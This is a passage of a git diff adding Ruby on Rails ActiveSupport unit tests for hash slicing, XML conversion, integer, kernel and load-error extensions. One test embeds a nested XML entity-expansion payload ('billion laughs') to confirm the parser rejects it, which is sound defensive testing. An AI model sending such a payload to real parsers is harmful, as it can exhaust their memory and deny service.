+ original = { :a => 'x', :b => 'y', :c => 10, [:a, :b] => "an array key" }
+ expected = { :a => 'x', :b => "y" }
+
+ # Should grab each of the splatted keys.
+ assert_equal expected, original.slice(*[:a, :b])
+ end
+
+ def test_indifferent_slice
+ original = { :a => 'x', :b => 'y', :c => 10 }.with_indifferent_access
+ expected = { :a => 'x', :b => 'y' }.with_indifferent_access
+
+ [['a', 'b'], [:a, :b]].each do |keys|
+ # Should return a new hash with only the given keys.
+ assert_equal expected, original.slice(*keys), keys.inspect
+ assert_not_equal expected, original
+ end
+ end
+
+ def test_indifferent_slice_inplace
+ original = { :a => 'x', :b => 'y', :c => 10 }.with_indifferent_access
+ expected = { :c => 10 }.with_indifferent_access
+
+ [['a', 'b'], [:a, :b]].each do |keys|
+ # Should replace the hash with only the given keys.
+ copy = original.dup
+ assert_equal expected, copy.slice!(*keys)
+ end
+ end
+
+ def test_indifferent_slice_access_with_symbols
+ original = {'login' => 'bender', 'password' => 'shiny', 'stuff' => 'foo'}
+ original = original.with_indifferent_access
+
+ slice = original.slice(:login, :password)
+
+ assert_equal 'bender', slice[:login]
+ assert_equal 'bender', slice['login']
+ end
+
+ def test_extract
+ original = {:a => 1, :b => 2, :c => 3, :d => 4}
+ expected = {:a => 1, :b => 2}
+ remaining = {:c => 3, :d => 4}
+
+ assert_equal expected, original.extract!(:a, :b, :x)
+ assert_equal remaining, original
+ end
+
+ def test_extract_nils
+ original = {:a => nil, :b => nil}
+ expected = {:a => nil}
+ extracted = original.extract!(:a, :x)
+
+ assert_equal expected, extracted
+ assert_equal nil, extracted[:a]
+ assert_equal nil, extracted[:x]
+ end
+
+ def test_indifferent_extract
+ original = {:a => 1, 'b' => 2, :c => 3, 'd' => 4}.with_indifferent_access
+ expected = {:a => 1, :b => 2}.with_indifferent_access
+ remaining = {:c => 3, :d => 4}.with_indifferent_access
+
+ [['a', 'b'], [:a, :b]].each do |keys|
+ copy = original.dup
+ assert_equal expected, copy.extract!(*keys)
+ assert_equal remaining, copy
+ end
+ end
+
+ def test_except
+ original = { :a => 'x', :b => 'y', :c => 10 }
+ expected = { :a => 'x', :b => 'y' }
+
+ # Should return a new hash without the given keys.
+ assert_equal expected, original.except(:c)
+ assert_not_equal expected, original
+
+ # Should replace the hash without the given keys.
+ assert_equal expected, original.except!(:c)
+ assert_equal expected, original
+ end
+
+ def test_except_with_more_than_one_argument
+ original = { :a => 'x', :b => 'y', :c => 10 }
+ expected = { :a => 'x' }
+ assert_equal expected, original.except(:b, :c)
+ end
+
+ def test_except_with_original_frozen
+ original = { :a => 'x', :b => 'y' }
+ original.freeze
+ assert_nothing_raised { original.except(:a) }
+ end
+
+ def test_except_with_mocha_expectation_on_original
+ original = { :a => 'x', :b => 'y' }
+ original.expects(:delete).never
+ original.except(:a)
+ end
+end
+
+class IWriteMyOwnXML
+ def to_xml(options = {})
+ options[:indent] ||= 2
+ xml = options[:builder] ||= Builder::XmlMarkup.new(:indent => options[:indent])
+ xml.instruct! unless options[:skip_instruct]
+ xml.level_one do
+ xml.tag!(:second_level, 'content')
+ end
+ end
+end
+
+class HashExtToParamTests < ActiveSupport::TestCase
+ class ToParam < String
+ def to_param
+ "#{self}-1"
+ end
+ end
+
+ def test_string_hash
+ assert_equal '', {}.to_param
+ assert_equal 'hello=world', { :hello => "world" }.to_param
+ assert_equal 'hello=10', { "hello" => 10 }.to_param
+ assert_equal 'hello=world&say_bye=true', {:hello => "world", "say_bye" => true}.to_param
+ end
+
+ def test_number_hash
+ assert_equal '10=20&30=40&50=60', {10 => 20, 30 => 40, 50 => 60}.to_param
+ end
+
+ def test_to_param_hash
+ assert_equal 'custom-1=param-1&custom2-1=param2-1', {ToParam.new('custom') => ToParam.new('param'), ToParam.new('custom2') => ToParam.new('param2')}.to_param
+ end
+
+ def test_to_param_hash_escapes_its_keys_and_values
+ assert_equal 'param+1=A+string+with+%2F+characters+%26+that+should+be+%3F+escaped', { 'param 1' => 'A string with / characters & that should be ? escaped' }.to_param
+ end
+
+ def test_to_param_orders_by_key_in_ascending_order
+ assert_equal 'a=2&b=1&c=0', Hash[*%w(b 1 c 0 a 2)].to_param
+ end
+end
+
+class HashToXmlTest < ActiveSupport::TestCase
+ def setup
+ @xml_options = { :root => :person, :skip_instruct => true, :indent => 0 }
+ end
+
+ def test_one_level
+ xml = { :name => "David", :street => "Paulina" }.to_xml(@xml_options)
+ assert_equal "<person>", xml.first(8)
+ assert xml.include?(%(<street>Paulina</street>))
+ assert xml.include?(%(<name>David</name>))
+ end
+
+ def test_one_level_dasherize_false
+ xml = { :name => "David", :street_name => "Paulina" }.to_xml(@xml_options.merge(:dasherize => false))
+ assert_equal "<person>", xml.first(8)
+ assert xml.include?(%(<street_name>Paulina</street_name>))
+ assert xml.include?(%(<name>David</name>))
+ end
+
+ def test_one_level_dasherize_true
+ xml = { :name => "David", :street_name => "Paulina" }.to_xml(@xml_options.merge(:dasherize => true))
+ assert_equal "<person>", xml.first(8)
+ assert xml.include?(%(<street-name>Paulina</street-name>))
+ assert xml.include?(%(<name>David</name>))
+ end
+
+ def test_one_level_camelize_true
+ xml = { :name => "David", :street_name => "Paulina" }.to_xml(@xml_options.merge(:camelize => true))
+ assert_equal "<Person>", xml.first(8)
+ assert xml.include?(%(<StreetName>Paulina</StreetName>))
+ assert xml.include?(%(<Name>David</Name>))
+ end
+
+ def test_one_level_camelize_lower
+ xml = { :name => "David", :street_name => "Paulina" }.to_xml(@xml_options.merge(:camelize => :lower))
+ assert_equal "<person>", xml.first(8)
+ assert xml.include?(%(<streetName>Paulina</streetName>))
+ assert xml.include?(%(<name>David</name>))
+ end
+
+ def test_one_level_with_types
+ xml = { :name => "David", :street => "Paulina", :age => 26, :age_in_millis => 820497600000, :moved_on => Date.new(2005, 11, 15), :resident => :yes }.to_xml(@xml_options)
+ assert_equal "<person>", xml.first(8)
+ assert xml.include?(%(<street>Paulina</street>))
+ assert xml.include?(%(<name>David</name>))
+ assert xml.include?(%(<age type="integer">26</age>))
+ assert xml.include?(%(<age-in-millis type="integer">820497600000</age-in-millis>))
+ assert xml.include?(%(<moved-on type="date">2005-11-15</moved-on>))
+ assert xml.include?(%(<resident type="symbol">yes</resident>))
+ end
+
+ def test_one_level_with_nils
+ xml = { :name => "David", :street => "Paulina", :age => nil }.to_xml(@xml_options)
+ assert_equal "<person>", xml.first(8)
+ assert xml.include?(%(<street>Paulina</street>))
+ assert xml.include?(%(<name>David</name>))
+ assert xml.include?(%(<age nil="true"/>))
+ end
+
+ def test_one_level_with_skipping_types
+ xml = { :name => "David", :street => "Paulina", :age => nil }.to_xml(@xml_options.merge(:skip_types => true))
+ assert_equal "<person>", xml.first(8)
+ assert xml.include?(%(<street>Paulina</street>))
+ assert xml.include?(%(<name>David</name>))
+ assert xml.include?(%(<age nil="true"/>))
+ end
+
+ def test_one_level_with_yielding
+ xml = { :name => "David", :street => "Paulina" }.to_xml(@xml_options) do |x|
+ x.creator("Rails")
+ end
+
+ assert_equal "<person>", xml.first(8)
+ assert xml.include?(%(<street>Paulina</street>))
+ assert xml.include?(%(<name>David</name>))
+ assert xml.include?(%(<creator>Rails</creator>))
+ end
+
+ def test_two_levels
+ xml = { :name => "David", :address => { :street => "Paulina" } }.to_xml(@xml_options)
+ assert_equal "<person>", xml.first(8)
+ assert xml.include?(%(<address><street>Paulina</street></address>))
+ assert xml.include?(%(<name>David</name>))
+ end
+
+ def test_two_levels_with_second_level_overriding_to_xml
+ xml = { :name => "David", :address => { :street => "Paulina" }, :child => IWriteMyOwnXML.new }.to_xml(@xml_options)
+ assert_equal "<person>", xml.first(8)
+ assert xml.include?(%(<address><street>Paulina</street></address>))
+ assert xml.include?(%(<level_one><second_level>content</second_level></level_one>))
+ end
+
+ def test_two_levels_with_array
+ xml = { :name => "David", :addresses => [{ :street => "Paulina" }, { :street => "Evergreen" }] }.to_xml(@xml_options)
+ assert_equal "<person>", xml.first(8)
+ assert xml.include?(%(<addresses type="array"><address>))
+ assert xml.include?(%(<address><street>Paulina</street></address>))
+ assert xml.include?(%(<address><street>Evergreen</street></address>))
+ assert xml.include?(%(<name>David</name>))
+ end
+
+ def test_three_levels_with_array
+ xml = { :name => "David", :addresses => [{ :streets => [ { :name => "Paulina" }, { :name => "Paulina" } ] } ] }.to_xml(@xml_options)
+ assert xml.include?(%(<addresses type="array"><address><streets type="array"><street><name>))
+ end
+
+ def test_timezoned_attributes
+ xml = {
+ :created_at => Time.utc(1999,2,2),
+ :local_created_at => Time.utc(1999,2,2).in_time_zone('Eastern Time (US & Canada)')
+ }.to_xml(@xml_options)
+ assert_match %r{<created-at type=\"dateTime\">1999-02-02T00:00:00Z</created-at>}, xml
+ assert_match %r{<local-created-at type=\"dateTime\">1999-02-01T19:00:00-05:00</local-created-at>}, xml
+ end
+
+ def test_multiple_records_from_xml_with_attributes_other_than_type_ignores_them_without_exploding
+ topics_xml = <<-EOT
+ <topics type="array" page="1" page-count="1000" per-page="2">
+ <topic>
+ <title>The First Topic</title>
+ <author-name>David</author-name>
+ <id type="integer">1</id>
+ <approved type="boolean">false</approved>
+ <replies-count type="integer">0</replies-count>
+ <replies-close-in type="integer">2592000000</replies-close-in>
+ <written-on type="date">2003-07-16</written-on>
+ <viewed-at type="datetime">2003-07-16T09:28:00+0000</viewed-at>
+ <content>Have a nice day</content>
+ <author-email-address>david at loudthinking.com</author-email-address>
+ <parent-id nil="true"></parent-id>
+ </topic>
+ <topic>
+ <title>The Second Topic</title>
+ <author-name>Jason</author-name>
+ <id type="integer">1</id>
+ <approved type="boolean">false</approved>
+ <replies-count type="integer">0</replies-count>
+ <replies-close-in type="integer">2592000000</replies-close-in>
+ <written-on type="date">2003-07-16</written-on>
+ <viewed-at type="datetime">2003-07-16T09:28:00+0000</viewed-at>
+ <content>Have a nice day</content>
+ <author-email-address>david at loudthinking.com</author-email-address>
+ <parent-id></parent-id>
+ </topic>
+ </topics>
+ EOT
+
+ expected_topic_hash = {
+ :title => "The First Topic",
+ :author_name => "David",
+ :id => 1,
+ :approved => false,
+ :replies_count => 0,
+ :replies_close_in => 2592000000,
+ :written_on => Date.new(2003, 7, 16),
+ :viewed_at => Time.utc(2003, 7, 16, 9, 28),
+ :content => "Have a nice day",
+ :author_email_address => "david at loudthinking.com",
+ :parent_id => nil
+ }.stringify_keys
+
+ assert_equal expected_topic_hash, Hash.from_xml(topics_xml)["topics"].first
+ end
+
+ def test_single_record_from_xml
+ topic_xml = <<-EOT
+ <topic>
+ <title>The First Topic</title>
+ <author-name>David</author-name>
+ <id type="integer">1</id>
+ <approved type="boolean"> true </approved>
+ <replies-count type="integer">0</replies-count>
+ <replies-close-in type="integer">2592000000</replies-close-in>
+ <written-on type="date">2003-07-16</written-on>
+ <viewed-at type="datetime">2003-07-16T09:28:00+0000</viewed-at>
+ <author-email-address>david at loudthinking.com</author-email-address>
+ <parent-id></parent-id>
+ <ad-revenue type="decimal">1.5</ad-revenue>
+ <optimum-viewing-angle type="float">135</optimum-viewing-angle>
+ </topic>
+ EOT
+
+ expected_topic_hash = {
+ :title => "The First Topic",
+ :author_name => "David",
+ :id => 1,
+ :approved => true,
+ :replies_count => 0,
+ :replies_close_in => 2592000000,
+ :written_on => Date.new(2003, 7, 16),
+ :viewed_at => Time.utc(2003, 7, 16, 9, 28),
+ :author_email_address => "david at loudthinking.com",
+ :parent_id => nil,
+ :ad_revenue => BigDecimal("1.50"),
+ :optimum_viewing_angle => 135.0,
+ }.stringify_keys
+
+ assert_equal expected_topic_hash, Hash.from_xml(topic_xml)["topic"]
+ end
+
+ def test_single_record_from_xml_with_nil_values
+ topic_xml = <<-EOT
+ <topic>
+ <title></title>
+ <id type="integer"></id>
+ <approved type="boolean"></approved>
+ <written-on type="date"></written-on>
+ <viewed-at type="datetime"></viewed-at>
+ <parent-id></parent-id>
+ </topic>
+ EOT
+
+ expected_topic_hash = {
+ :title => nil,
+ :id => nil,
+ :approved => nil,
+ :written_on => nil,
+ :viewed_at => nil,
+ :parent_id => nil
+ }.stringify_keys
+
+ assert_equal expected_topic_hash, Hash.from_xml(topic_xml)["topic"]
+ end
+
+ def test_multiple_records_from_xml
+ topics_xml = <<-EOT
+ <topics type="array">
+ <topic>
+ <title>The First Topic</title>
+ <author-name>David</author-name>
+ <id type="integer">1</id>
+ <approved type="boolean">false</approved>
+ <replies-count type="integer">0</replies-count>
+ <replies-close-in type="integer">2592000000</replies-close-in>
+ <written-on type="date">2003-07-16</written-on>
+ <viewed-at type="datetime">2003-07-16T09:28:00+0000</viewed-at>
+ <content>Have a nice day</content>
+ <author-email-address>david at loudthinking.com</author-email-address>
+ <parent-id nil="true"></parent-id>
+ </topic>
+ <topic>
+ <title>The Second Topic</title>
+ <author-name>Jason</author-name>
+ <id type="integer">1</id>
+ <approved type="boolean">false</approved>
+ <replies-count type="integer">0</replies-count>
+ <replies-close-in type="integer">2592000000</replies-close-in>
+ <written-on type="date">2003-07-16</written-on>
+ <viewed-at type="datetime">2003-07-16T09:28:00+0000</viewed-at>
+ <content>Have a nice day</content>
+ <author-email-address>david at loudthinking.com</author-email-address>
+ <parent-id></parent-id>
+ </topic>
+ </topics>
+ EOT
+
+ expected_topic_hash = {
+ :title => "The First Topic",
+ :author_name => "David",
+ :id => 1,
+ :approved => false,
+ :replies_count => 0,
+ :replies_close_in => 2592000000,
+ :written_on => Date.new(2003, 7, 16),
+ :viewed_at => Time.utc(2003, 7, 16, 9, 28),
+ :content => "Have a nice day",
+ :author_email_address => "david at loudthinking.com",
+ :parent_id => nil
+ }.stringify_keys
+
+ assert_equal expected_topic_hash, Hash.from_xml(topics_xml)["topics"].first
+ end
+
+ def test_single_record_from_xml_with_attributes_other_than_type
+ topic_xml = <<-EOT
+ <rsp stat="ok">
+ <photos page="1" pages="1" perpage="100" total="16">
+ <photo id="175756086" owner="55569174 at N00" secret="0279bf37a1" server="76" title="Colored Pencil PhotoBooth Fun" ispublic="1" isfriend="0" isfamily="0"/>
+ </photos>
+ </rsp>
+ EOT
+
+ expected_topic_hash = {
+ :id => "175756086",
+ :owner => "55569174 at N00",
+ :secret => "0279bf37a1",
+ :server => "76",
+ :title => "Colored Pencil PhotoBooth Fun",
+ :ispublic => "1",
+ :isfriend => "0",
+ :isfamily => "0",
+ }.stringify_keys
+
+ assert_equal expected_topic_hash, Hash.from_xml(topic_xml)["rsp"]["photos"]["photo"]
+ end
+
+ def test_all_caps_key_from_xml
+ test_xml = <<-EOT
+ <ABC3XYZ>
+ <TEST>Lorem Ipsum</TEST>
+ </ABC3XYZ>
+ EOT
+
+ expected_hash = {
+ "ABC3XYZ" => {
+ "TEST" => "Lorem Ipsum"
+ }
+ }
+
+ assert_equal expected_hash, Hash.from_xml(test_xml)
+ end
+
+ def test_empty_array_from_xml
+ blog_xml = <<-XML
+ <blog>
+ <posts type="array"></posts>
+ </blog>
+ XML
+ expected_blog_hash = {"blog" => {"posts" => []}}
+ assert_equal expected_blog_hash, Hash.from_xml(blog_xml)
+ end
+
+ def test_empty_array_with_whitespace_from_xml
+ blog_xml = <<-XML
+ <blog>
+ <posts type="array">
+ </posts>
+ </blog>
+ XML
+ expected_blog_hash = {"blog" => {"posts" => []}}
+ assert_equal expected_blog_hash, Hash.from_xml(blog_xml)
+ end
+
+ def test_array_with_one_entry_from_xml
+ blog_xml = <<-XML
+ <blog>
+ <posts type="array">
+ <post>a post</post>
+ </posts>
+ </blog>
+ XML
+ expected_blog_hash = {"blog" => {"posts" => ["a post"]}}
+ assert_equal expected_blog_hash, Hash.from_xml(blog_xml)
+ end
+
+ def test_array_with_multiple_entries_from_xml
+ blog_xml = <<-XML
+ <blog>
+ <posts type="array">
+ <post>a post</post>
+ <post>another post</post>
+ </posts>
+ </blog>
+ XML
+ expected_blog_hash = {"blog" => {"posts" => ["a post", "another post"]}}
+ assert_equal expected_blog_hash, Hash.from_xml(blog_xml)
+ end
+
+ def test_file_from_xml
+ blog_xml = <<-XML
+ <blog>
+ <logo type="file" name="logo.png" content_type="image/png">
+ </logo>
+ </blog>
+ XML
+ hash = Hash.from_xml(blog_xml)
+ assert hash.has_key?('blog')
+ assert hash['blog'].has_key?('logo')
+
+ file = hash['blog']['logo']
+ assert_equal 'logo.png', file.original_filename
+ assert_equal 'image/png', file.content_type
+ end
+
+ def test_file_from_xml_with_defaults
+ blog_xml = <<-XML
+ <blog>
+ <logo type="file">
+ </logo>
+ </blog>
+ XML
+ file = Hash.from_xml(blog_xml)['blog']['logo']
+ assert_equal 'untitled', file.original_filename
+ assert_equal 'application/octet-stream', file.content_type
+ end
+
+ def test_tag_with_attrs_and_whitespace
+ xml = <<-XML
+ <blog name="bacon is the best">
+ </blog>
+ XML
+ hash = Hash.from_xml(xml)
+ assert_equal "bacon is the best", hash['blog']['name']
+ end
+
+ def test_empty_cdata_from_xml
+ xml = "<data><![CDATA[]]></data>"
+
+ assert_equal "", Hash.from_xml(xml)["data"]
+ end
+
+ def test_xsd_like_types_from_xml
+ bacon_xml = <<-EOT
+ <bacon>
+ <weight type="double">0.5</weight>
+ <price type="decimal">12.50</price>
+ <chunky type="boolean"> 1 </chunky>
+ <expires-at type="dateTime">2007-12-25T12:34:56+0000</expires-at>
+ <notes type="string"></notes>
+ <illustration type="base64Binary">YmFiZS5wbmc=</illustration>
+ <caption type="binary" encoding="base64">VGhhdCdsbCBkbywgcGlnLg==</caption>
+ </bacon>
+ EOT
+
+ expected_bacon_hash = {
+ :weight => 0.5,
+ :chunky => true,
+ :price => BigDecimal("12.50"),
+ :expires_at => Time.utc(2007,12,25,12,34,56),
+ :notes => "",
+ :illustration => "babe.png",
+ :caption => "That'll do, pig."
+ }.stringify_keys
+
+ assert_equal expected_bacon_hash, Hash.from_xml(bacon_xml)["bacon"]
+ end
+
+ def test_type_trickles_through_when_unknown
+ product_xml = <<-EOT
+ <product>
+ <weight type="double">0.5</weight>
+ <image type="ProductImage"><filename>image.gif</filename></image>
+
+ </product>
+ EOT
+
+ expected_product_hash = {
+ :weight => 0.5,
+ :image => {'type' => 'ProductImage', 'filename' => 'image.gif' },
+ }.stringify_keys
+
+ assert_equal expected_product_hash, Hash.from_xml(product_xml)["product"]
+ end
+
+ def test_from_xml_raises_on_disallowed_type_attributes
+ assert_raise ActiveSupport::XMLConverter::DisallowedType do
+ Hash.from_xml '<product><name type="foo">value</name></product>', %w(foo)
+ end
+ end
+
+ def test_from_xml_disallows_symbol_and_yaml_types_by_default
+ assert_raise ActiveSupport::XMLConverter::DisallowedType do
+ Hash.from_xml '<product><name type="symbol">value</name></product>'
+ end
+
+ assert_raise ActiveSupport::XMLConverter::DisallowedType do
+ Hash.from_xml '<product><name type="yaml">value</name></product>'
+ end
+ end
+
+ def test_from_trusted_xml_allows_symbol_and_yaml_types
+ expected = { 'product' => { 'name' => :value }}
+ assert_equal expected, Hash.from_trusted_xml('<product><name type="symbol">value</name></product>')
+ assert_equal expected, Hash.from_trusted_xml('<product><name type="yaml">:value</name></product>')
+ end
+
+ def test_should_use_default_value_for_unknown_key
+ hash_wia = HashWithIndifferentAccess.new(3)
+ assert_equal 3, hash_wia[:new_key]
+ end
+
+ def test_should_use_default_value_if_no_key_is_supplied
+ hash_wia = HashWithIndifferentAccess.new(3)
+ assert_equal 3, hash_wia.default
+ end
+
+ def test_should_nil_if_no_default_value_is_supplied
+ hash_wia = HashWithIndifferentAccess.new
+ assert_nil hash_wia.default
+ end
+
+ def test_should_return_dup_for_with_indifferent_access
+ hash_wia = HashWithIndifferentAccess.new
+ assert_equal hash_wia, hash_wia.with_indifferent_access
+ assert_not_same hash_wia, hash_wia.with_indifferent_access
+ end
+
+ def test_should_copy_the_default_value_when_converting_to_hash_with_indifferent_access
+ hash = Hash.new(3)
+ hash_wia = hash.with_indifferent_access
+ assert_equal 3, hash_wia.default
+ end
+
+ # The XML builder seems to fail miserably when trying to tag something
+ # with the same name as a Kernel method (throw, test, loop, select ...)
+ def test_kernel_method_names_to_xml
+ hash = { :throw => { :ball => 'red' } }
+ expected = '<person><throw><ball>red</ball></throw></person>'
+
+ assert_nothing_raised do
+ assert_equal expected, hash.to_xml(@xml_options)
+ end
+ end
+
+ def test_empty_string_works_for_typecast_xml_value
+ assert_nothing_raised do
+ ActiveSupport::XMLConverter.new("").to_h
+ end
+ end
+
+ def test_escaping_to_xml
+ hash = {
+ :bare_string => 'First & Last Name',
+ :pre_escaped_string => 'First & Last Name'
+ }.stringify_keys
+
+ expected_xml = '<person><bare-string>First & Last Name</bare-string><pre-escaped-string>First & Last Name</pre-escaped-string></person>'
+ assert_equal expected_xml, hash.to_xml(@xml_options)
+ end
+
+ def test_unescaping_from_xml
+ xml_string = '<person><bare-string>First & Last Name</bare-string><pre-escaped-string>First & Last Name</pre-escaped-string></person>'
+ expected_hash = {
+ :bare_string => 'First & Last Name',
+ :pre_escaped_string => 'First & Last Name'
+ }.stringify_keys
+ assert_equal expected_hash, Hash.from_xml(xml_string)['person']
+ end
+
+ def test_roundtrip_to_xml_from_xml
+ hash = {
+ :bare_string => 'First & Last Name',
+ :pre_escaped_string => 'First & Last Name'
+ }.stringify_keys
+
+ assert_equal hash, Hash.from_xml(hash.to_xml(@xml_options))['person']
+ end
+
+ def test_datetime_xml_type_with_utc_time
+ alert_xml = <<-XML
+ <alert>
+ <alert_at type="datetime">2008-02-10T15:30:45Z</alert_at>
+ </alert>
+ XML
+ alert_at = Hash.from_xml(alert_xml)['alert']['alert_at']
+ assert alert_at.utc?
+ assert_equal Time.utc(2008, 2, 10, 15, 30, 45), alert_at
+ end
+
+ def test_datetime_xml_type_with_non_utc_time
+ alert_xml = <<-XML
+ <alert>
+ <alert_at type="datetime">2008-02-10T10:30:45-05:00</alert_at>
+ </alert>
+ XML
+ alert_at = Hash.from_xml(alert_xml)['alert']['alert_at']
+ assert alert_at.utc?
+ assert_equal Time.utc(2008, 2, 10, 15, 30, 45), alert_at
+ end
+
+ def test_datetime_xml_type_with_far_future_date
+ alert_xml = <<-XML
+ <alert>
+ <alert_at type="datetime">2050-02-10T15:30:45Z</alert_at>
+ </alert>
+ XML
+ alert_at = Hash.from_xml(alert_xml)['alert']['alert_at']
+ assert alert_at.utc?
+ assert_equal 2050, alert_at.year
+ assert_equal 2, alert_at.month
+ assert_equal 10, alert_at.day
+ assert_equal 15, alert_at.hour
+ assert_equal 30, alert_at.min
+ assert_equal 45, alert_at.sec
+ end
+
+ def test_to_xml_dups_options
+ options = {:skip_instruct => true}
+ {}.to_xml(options)
+ # :builder, etc, shouldn't be added to options
+ assert_equal({:skip_instruct => true}, options)
+ end
+
+ def test_expansion_count_is_limited
+ expected =
+ case ActiveSupport::XmlMini.backend.name
+ when 'ActiveSupport::XmlMini_REXML'; RuntimeError
+ when 'ActiveSupport::XmlMini_Nokogiri'; Nokogiri::XML::SyntaxError
+ when 'ActiveSupport::XmlMini_NokogiriSAX'; RuntimeError
+ when 'ActiveSupport::XmlMini_LibXML'; LibXML::XML::Error
+ when 'ActiveSupport::XmlMini_LibXMLSAX'; LibXML::XML::Error
+ end
+
+ assert_raise expected do
+ attack_xml = <<-EOT
+ <?xml version="1.0" encoding="UTF-8"?>
+ <!DOCTYPE member [
+ <!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
+ <!ENTITY b "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
+ <!ENTITY c "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
+ <!ENTITY d "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
+ <!ENTITY e "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
+ <!ENTITY f "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
+ <!ENTITY g "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
+ ]>
+ <member>
+ &a;
+ </member>
+ EOT
+ Hash.from_xml(attack_xml)
+ end
+ end
+end
diff --git a/activesupport/test/core_ext/integer_ext_test.rb b/activesupport/test/core_ext/integer_ext_test.rb
new file mode 100644
index 0000000..41736fb
--- /dev/null
+++ b/activesupport/test/core_ext/integer_ext_test.rb
@@ -0,0 +1,30 @@
+require 'abstract_unit'
+require 'active_support/core_ext/integer'
+
+class IntegerExtTest < ActiveSupport::TestCase
+ PRIME = 22953686867719691230002707821868552601124472329079
+
+ def test_multiple_of
+ [ -7, 0, 7, 14 ].each { |i| assert i.multiple_of?(7) }
+ [ -7, 7, 14 ].each { |i| assert ! i.multiple_of?(6) }
+
+ # test the 0 edge case
+ assert 0.multiple_of?(0)
+ assert !5.multiple_of?(0)
+
+ # test with a prime
+ [2, 3, 5, 7].each { |i| assert !PRIME.multiple_of?(i) }
+ end
+
+ def test_ordinalize
+ # These tests are mostly just to ensure that the ordinalize method exists.
+ # Its results are tested comprehensively in the inflector test cases.
+ assert_equal '1st', 1.ordinalize
+ assert_equal '8th', 8.ordinalize
+ end
+
+ def test_ordinal
+ assert_equal 'st', 1.ordinal
+ assert_equal 'th', 8.ordinal
+ end
+end
diff --git a/activesupport/test/core_ext/kernel_test.rb b/activesupport/test/core_ext/kernel_test.rb
new file mode 100644
index 0000000..b8951de
--- /dev/null
+++ b/activesupport/test/core_ext/kernel_test.rb
@@ -0,0 +1,124 @@
+require 'abstract_unit'
+require 'active_support/core_ext/kernel'
+
+class KernelTest < ActiveSupport::TestCase
+ def test_silence_warnings
+ silence_warnings { assert_nil $VERBOSE }
+ assert_equal 1234, silence_warnings { 1234 }
+ end
+
+ def test_silence_warnings_verbose_invariant
+ old_verbose = $VERBOSE
+ silence_warnings { raise }
+ flunk
+ rescue
+ assert_equal old_verbose, $VERBOSE
+ end
+
+
+ def test_enable_warnings
+ enable_warnings { assert_equal true, $VERBOSE }
+ assert_equal 1234, enable_warnings { 1234 }
+ end
+
+ def test_enable_warnings_verbose_invariant
+ old_verbose = $VERBOSE
+ enable_warnings { raise }
+ flunk
+ rescue
+ assert_equal old_verbose, $VERBOSE
+ end
+
+
+ def test_silence_stderr
+ old_stderr_position = STDERR.tell
+ silence_stderr { STDERR.puts 'hello world' }
+ assert_equal old_stderr_position, STDERR.tell
+ rescue Errno::ESPIPE
+ # Skip if we can't STDERR.tell
+ end
+
+ def test_quietly
+ old_stdout_position, old_stderr_position = STDOUT.tell, STDERR.tell
+ quietly do
+ puts 'see me, feel me'
+ STDERR.puts 'touch me, heal me'
+ end
+ assert_equal old_stdout_position, STDOUT.tell
+ assert_equal old_stderr_position, STDERR.tell
+ rescue Errno::ESPIPE
+ # Skip if we can't STDERR.tell
+ end
+
+ def test_silence_stderr_with_return_value
+ assert_equal 1, silence_stderr { 1 }
+ end
+
+ def test_class_eval
+ o = Object.new
+ class << o; @x = 1; end
+ assert_equal 1, o.class_eval { @x }
+ end
+
+ def test_capture
+ assert_equal 'STDERR', capture(:stderr) { $stderr.print 'STDERR' }
+ assert_equal 'STDOUT', capture(:stdout) { print 'STDOUT' }
+ assert_equal "STDERR\n", capture(:stderr) { system('echo STDERR 1>&2') }
+ assert_equal "STDOUT\n", capture(:stdout) { system('echo STDOUT') }
+ end
+end
+
+class KernelSuppressTest < ActiveSupport::TestCase
+ def test_reraise
+ assert_raise(LoadError) do
+ suppress(ArgumentError) { raise LoadError }
+ end
+ end
+
+ def test_suppression
+ suppress(ArgumentError) { raise ArgumentError }
+ suppress(LoadError) { raise LoadError }
+ suppress(LoadError, ArgumentError) { raise LoadError }
+ suppress(LoadError, ArgumentError) { raise ArgumentError }
+ end
+end
+
+class MockStdErr
+ attr_reader :output
+ def puts(message)
+ @output ||= []
+ @output << message
+ end
+
+ def info(message)
+ puts(message)
+ end
+
+ def write(message)
+ puts(message)
+ end
+end
+
+class KernelDebuggerTest < ActiveSupport::TestCase
+ def test_debugger_not_available_message_to_stderr
+ old_stderr = $stderr
+ $stderr = MockStdErr.new
+ debugger
+ assert_match(/Debugger requested/, $stderr.output.first)
+ ensure
+ $stderr = old_stderr
+ end
+
+ def test_debugger_not_available_message_to_rails_logger
+ rails = Class.new do
+ def self.logger
+ @logger ||= MockStdErr.new
+ end
+ end
+ Object.const_set(:Rails, rails)
+ debugger
+ assert_match(/Debugger requested/, rails.logger.output.first)
+ ensure
+ Object.send(:remove_const, :Rails)
+ end
+end
diff --git a/activesupport/test/core_ext/load_error_test.rb b/activesupport/test/core_ext/load_error_test.rb
new file mode 100644
index 0000000..31863d0
--- /dev/null
+++ b/activesupport/test/core_ext/load_error_test.rb
@@ -0,0 +1,32 @@
+require 'abstract_unit'
+require 'active_support/core_ext/load_error'
+
+class TestMissingSourceFile < ActiveSupport::TestCase
+ def test_with_require
+ assert_raise(MissingSourceFile) { require 'no_this_file_don\'t_exist' }
+ end
+ def test_with_load
+ assert_raise(MissingSourceFile) { load 'nor_does_this_one' }
+ end
+ def test_path
+ begin load 'nor/this/one.rb'
+ rescue MissingSourceFile => e
+ assert_equal 'nor/this/one.rb', e.path
+ end
+ end
+end
+
+class TestLoadError < ActiveSupport::TestCase
+ def test_with_require
+ assert_raise(LoadError) { require 'no_this_file_don\'t_exist' }
+ end
+ def test_with_load
+ assert_raise(LoadError) { load 'nor_does_this_one' }
+ end
+ def test_path
+ begin load 'nor/this/one.rb'
+ rescue LoadError => e
+ assert_equal 'nor/this/one.rb', e.path
+ end
+ end
+end
\ No newline at end of file
diff --git a/activesupport/test/core_ext/marshal_test.rb b/activesupport/test/core_ext/marshal_test.rb
new file mode 100644
index 0000000..8f3f710
--- /dev/null
+++ b/activesupport/test/core_ext/marshal_test.rb
@@ -0,0 +1,124 @@
+require 'abstract_unit'
+require 'active_support/core_ext/marshal'
+require 'dependencies_test_helpers'
+
+class MarshalTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
